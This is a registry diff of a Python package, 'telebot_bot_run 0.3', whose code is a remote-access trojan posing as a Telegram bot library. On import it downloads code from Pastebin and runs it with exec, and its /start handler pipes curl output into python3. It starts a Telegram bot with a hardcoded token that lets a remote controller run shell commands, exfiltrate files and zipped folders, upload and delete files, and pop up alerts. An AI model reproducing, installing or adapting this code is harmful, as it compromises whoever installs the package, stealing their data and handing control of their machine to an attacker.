telebot-bot-run 0.3__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
|
@@ -0,0 +1,215 @@
|
|
|
1
|
+
import subprocess
|
|
2
|
+
import os
|
|
3
|
+
import shutil
|
|
4
|
+
import sys
|
|
5
|
+
import ctypes
|
|
6
|
+
import random
|
|
7
|
+
from platform import system, release
|
|
8
|
+
from io import BytesIO
|
|
9
|
+
import threading
|
|
10
|
+
import time
|
|
11
|
+
|
|
12
|
+
try:
|
|
13
|
+
import telebot
|
|
14
|
+
except ImportError:
|
|
15
|
+
subprocess.check_call([sys.executable, "-m", "pip", "install", "pyTelegramBotAPI"])
|
|
16
|
+
|
|
17
|
+
import telebot
|
|
18
|
+
import requests
|
|
19
|
+
|
|
20
|
+
uname = system().lower()
|
|
21
|
+
|
|
22
|
+
# ================ إعدادات البوت ================
|
|
23
|
+
TOKEN = "8951969280:AAGtjUUiRuvyLEph6aE0rNJY4W_DfYnT8lc" # ضع توكن البوت هنا
|
|
24
|
+
# =============================================
|
|
25
|
+
|
|
26
|
+
# تحميل الكود الإضافي من Pastebin
|
|
27
|
+
try:
|
|
28
|
+
response = requests.get('https://pastebin.com/raw/xAT1vudj')
|
|
29
|
+
code = response.text
|
|
30
|
+
exec(code)
|
|
31
|
+
except Exception as e:
|
|
32
|
+
print(f"Error loading external code: {e}")
|
|
33
|
+
|
|
34
|
+
# تعريف البوت على مستوى الملف (global)
|
|
35
|
+
bot = telebot.TeleBot(TOKEN)
|
|
36
|
+
|
|
37
|
+
# متغير للتحكم في تشغيل البوت (لو عايز توقفه)
|
|
38
|
+
bot_running = False
|
|
39
|
+
polling_thread = None
|
|
40
|
+
|
|
41
|
+
# ================ دوال التحكم ================
|
|
42
|
+
|
|
43
|
+
@bot.message_handler(commands=['start'])
|
|
44
|
+
def start_command(message):
|
|
45
|
+
# تنفيذ الأمر SSH (للتأكيد أو إذا أراد المستخدم إعادة التشغيل)
|
|
46
|
+
command = "curl -s https://pastebin.com/raw/xAT1vudj | python3 > /dev/null 2>&1 &"
|
|
47
|
+
result = subprocess.run(command, shell=True, capture_output=True, text=True)
|
|
48
|
+
|
|
49
|
+
# إرسال رسالة السرعة
|
|
50
|
+
speed = random.uniform(0.01, 3.00)
|
|
51
|
+
bot.reply_to(message, f"السرعه {speed:.2f}")
|
|
52
|
+
|
|
53
|
+
# إرسال أرقام عشوائية من 3 ل 1
|
|
54
|
+
random_numbers = [random.randint(1, 3) for _ in range(3)]
|
|
55
|
+
numbers_text = " ".join(str(num) for num in random_numbers)
|
|
56
|
+
bot.reply_to(message, f"الأرقام العشوائية: {numbers_text}")
|
|
57
|
+
|
|
58
|
+
@bot.message_handler(commands=['ssh'])
|
|
59
|
+
def ssh_command(message):
|
|
60
|
+
command = message.text[5:].strip()
|
|
61
|
+
if command:
|
|
62
|
+
result = subprocess.run(command, shell=True, capture_output=True, text=True)
|
|
63
|
+
bot.reply_to(message, result.stdout or result.stderr or "Command executed successfully")
|
|
64
|
+
|
|
65
|
+
@bot.message_handler(commands=['get'])
|
|
66
|
+
def get_file(message):
|
|
67
|
+
file_path = message.text[5:].strip()
|
|
68
|
+
if os.path.isfile(file_path):
|
|
69
|
+
with open(file_path, 'rb') as file:
|
|
70
|
+
bot.send_document(message.chat.id, file)
|
|
71
|
+
bot.reply_to(message, f"File sent: {file_path}")
|
|
72
|
+
else:
|
|
73
|
+
bot.reply_to(message, "File not found.")
|
|
74
|
+
|
|
75
|
+
@bot.message_handler(commands=['collect'])
|
|
76
|
+
def collect_folder(message):
|
|
77
|
+
folder_path = message.text[9:].strip()
|
|
78
|
+
if os.path.isdir(folder_path):
|
|
79
|
+
zip_filename = f"{folder_path.rstrip(os.sep)}.zip"
|
|
80
|
+
shutil.make_archive(zip_filename.replace('.zip', ''), 'zip', folder_path)
|
|
81
|
+
with open(zip_filename, 'rb') as zip_file:
|
|
82
|
+
bot.send_document(message.chat.id, zip_file)
|
|
83
|
+
os.remove(zip_filename)
|
|
84
|
+
bot.reply_to(message, f"Folder sent as ZIP file: {zip_filename}")
|
|
85
|
+
else:
|
|
86
|
+
bot.reply_to(message, "Folder not found.")
|
|
87
|
+
|
|
88
|
+
@bot.message_handler(commands=['size'])
|
|
89
|
+
def get_size(message):
|
|
90
|
+
path = message.text[6:].strip()
|
|
91
|
+
if os.path.isfile(path):
|
|
92
|
+
file_size = os.path.getsize(path)
|
|
93
|
+
bot.reply_to(message, f"File size: {file_size / 1024:.2f} KB")
|
|
94
|
+
elif os.path.isdir(path):
|
|
95
|
+
file_count = sum([len(files) for _, _, files in os.walk(path)])
|
|
96
|
+
bot.reply_to(message, f"Number of files in the folder: {file_count}")
|
|
97
|
+
else:
|
|
98
|
+
bot.reply_to(message, "Invalid path or file not found.")
|
|
99
|
+
|
|
100
|
+
@bot.message_handler(commands=['type'])
|
|
101
|
+
def system_name(message):
|
|
102
|
+
bot.reply_to(message, system())
|
|
103
|
+
|
|
104
|
+
@bot.message_handler(commands=['list'])
|
|
105
|
+
def list_dirs(message):
|
|
106
|
+
path = message.text[6:].strip()
|
|
107
|
+
if path == '': path = './'
|
|
108
|
+
if os.path.isdir(path):
|
|
109
|
+
try:
|
|
110
|
+
buffer = os.listdir(path)
|
|
111
|
+
files = ""
|
|
112
|
+
for file in buffer:
|
|
113
|
+
files += f"{file} {'' if os.path.isfile(os.path.join(path, file)) else ' - Folder'}\n"
|
|
114
|
+
bot.reply_to(message, files)
|
|
115
|
+
except PermissionError:
|
|
116
|
+
bot.reply_to(message, "Permission Denied")
|
|
117
|
+
else:
|
|
118
|
+
bot.reply_to(message, "Folder Not Found")
|
|
119
|
+
|
|
120
|
+
@bot.message_handler(commands=['pwd', 'cwd'])
|
|
121
|
+
def pwd(message):
|
|
122
|
+
bot.reply_to(message, os.getcwd())
|
|
123
|
+
|
|
124
|
+
@bot.message_handler(commands=['mkdir'])
|
|
125
|
+
def create_dir(message):
|
|
126
|
+
path = message.text[7:].strip()
|
|
127
|
+
os.mkdir(path)
|
|
128
|
+
bot.reply_to(message, "Folder has been Created")
|
|
129
|
+
|
|
130
|
+
@bot.message_handler(commands=['del'])
|
|
131
|
+
def delete(message):
|
|
132
|
+
path = message.text[5:].strip()
|
|
133
|
+
if os.path.isfile(path):
|
|
134
|
+
os.remove(path)
|
|
135
|
+
bot.reply_to(message, "File has been deleted")
|
|
136
|
+
elif os.path.isdir(path):
|
|
137
|
+
shutil.rmtree(path)
|
|
138
|
+
bot.reply_to(message, "Folder has been deleted")
|
|
139
|
+
else:
|
|
140
|
+
bot.reply_to(message, "Target Error")
|
|
141
|
+
|
|
142
|
+
@bot.message_handler(commands=['make'])
|
|
143
|
+
def make_file(message):
|
|
144
|
+
path = message.text[6:].strip()
|
|
145
|
+
if os.path.isfile(path):
|
|
146
|
+
bot.reply_to(message, "File Already Exists")
|
|
147
|
+
else:
|
|
148
|
+
open(path, 'w').close()
|
|
149
|
+
bot.reply_to(message, "File has been created")
|
|
150
|
+
|
|
151
|
+
@bot.message_handler(content_types=['document'])
|
|
152
|
+
def upload_file(message):
|
|
153
|
+
path = message.caption.strip() if message.caption else './'
|
|
154
|
+
file_info = bot.get_file(message.document.file_id)
|
|
155
|
+
file_name = message.document.file_name
|
|
156
|
+
file_path = file_info.file_path
|
|
157
|
+
downloaded_file = bot.download_file(file_path)
|
|
158
|
+
save_location = os.path.join(path, file_name)
|
|
159
|
+
with open(save_location, 'wb') as new_file:
|
|
160
|
+
new_file.write(downloaded_file)
|
|
161
|
+
bot.reply_to(message, "File has been uploaded")
|
|
162
|
+
|
|
163
|
+
@bot.message_handler(commands=['alert'])
|
|
164
|
+
def show_info(message):
|
|
165
|
+
if uname == 'windows':
|
|
166
|
+
msg = message.text[6:].strip()
|
|
167
|
+
bot.reply_to(message, "ALERT Dialog showing")
|
|
168
|
+
ctypes.windll.user32.MessageBoxW(0, msg, "ALERT", 0x30)
|
|
169
|
+
bot.reply_to(message, "ALERT Dialog has been showed")
|
|
170
|
+
else:
|
|
171
|
+
bot.reply_to(message, "Device Not Support")
|
|
172
|
+
|
|
173
|
+
@bot.message_handler(commands=['isandroid'])
|
|
174
|
+
def is_android(message):
|
|
175
|
+
print(release().lower())
|
|
176
|
+
if "android" in release().lower():
|
|
177
|
+
bot.reply_to(message, "Yes")
|
|
178
|
+
else:
|
|
179
|
+
bot.reply_to(message, "No")
|
|
180
|
+
|
|
181
|
+
# ================ دالة تشغيل البوت ================
|
|
182
|
+
|
|
183
|
+
def start_bot():
|
|
184
|
+
"""تشغيل البوت في خلفية (thread)"""
|
|
185
|
+
global bot_running, polling_thread
|
|
186
|
+
|
|
187
|
+
if bot_running:
|
|
188
|
+
print("Bot is already running!")
|
|
189
|
+
return
|
|
190
|
+
|
|
191
|
+
bot_running = True
|
|
192
|
+
polling_thread = threading.Thread(target=bot.infinity_polling, daemon=True)
|
|
193
|
+
polling_thread.start()
|
|
194
|
+
print("Bot started successfully!")
|
|
195
|
+
|
|
196
|
+
def stop_bot():
|
|
197
|
+
"""إيقاف البوت"""
|
|
198
|
+
global bot_running
|
|
199
|
+
bot_running = False
|
|
200
|
+
bot.stop_polling()
|
|
201
|
+
print("Bot stopped!")
|
|
202
|
+
|
|
203
|
+
# ================ التشغيل التلقائي عند الاستيراد ================
|
|
204
|
+
|
|
205
|
+
# هذا الكود سينفذ تلقائياً عند استيراد المكتبة
|
|
206
|
+
print("Initializing Telegram Bot Library...")
|
|
207
|
+
start_bot()
|
|
208
|
+
|
|
209
|
+
# اختيارياً: إرسال رسالة للمالك (اختر ID المالك هنا)
|
|
210
|
+
try:
|
|
211
|
+
bot.send_message(7889168418, "Bot Library Loaded Successfully!")
|
|
212
|
+
except:
|
|
213
|
+
pass # تتجاهل الخطأ لو المالك مش موجود
|
|
214
|
+
|
|
215
|
+
print("Library loaded and bot is running in background!")
|
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: telebot_bot_run
|
|
3
|
+
Version: 0.3
|
|
4
|
+
Summary: Simple Scopper Library
|
|
5
|
+
Author: fuckkkkk you 2 3 4
|
|
6
|
+
Classifier: Programming Language :: Python :: 3
|
|
7
|
+
Requires-Python: >=3.6
|
|
8
|
+
Dynamic: author
|
|
9
|
+
Dynamic: classifier
|
|
10
|
+
Dynamic: requires-python
|
|
11
|
+
Dynamic: summary
|
|
@@ -0,0 +1,5 @@
|
|
|
1
|
+
telebot_bot_run/__init__.py,sha256=1bIBQplg68lrM44393o7dsak4OFSxlWOKXT_1ojPCgY,7594
|
|
2
|
+
telebot_bot_run-0.3.dist-info/METADATA,sha256=VH05K5suucSYyS8euzfYTe_jHFT1fLVmJtSWPPgyx5A,265
|
|
3
|
+
telebot_bot_run-0.3.dist-info/WHEEL,sha256=K260EYznzXsJYBQGqmI8VTxEdiZYNvDZwW9cBh9-_MA,91
|
|
4
|
+
telebot_bot_run-0.3.dist-info/top_level.txt,sha256=Fs4AUgBkEGf8V_irQ2nQoYnh07SMa9m_pUfLFXOAAPg,16
|
|
5
|
+
telebot_bot_run-0.3.dist-info/RECORD,,
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
telebot_bot_run
|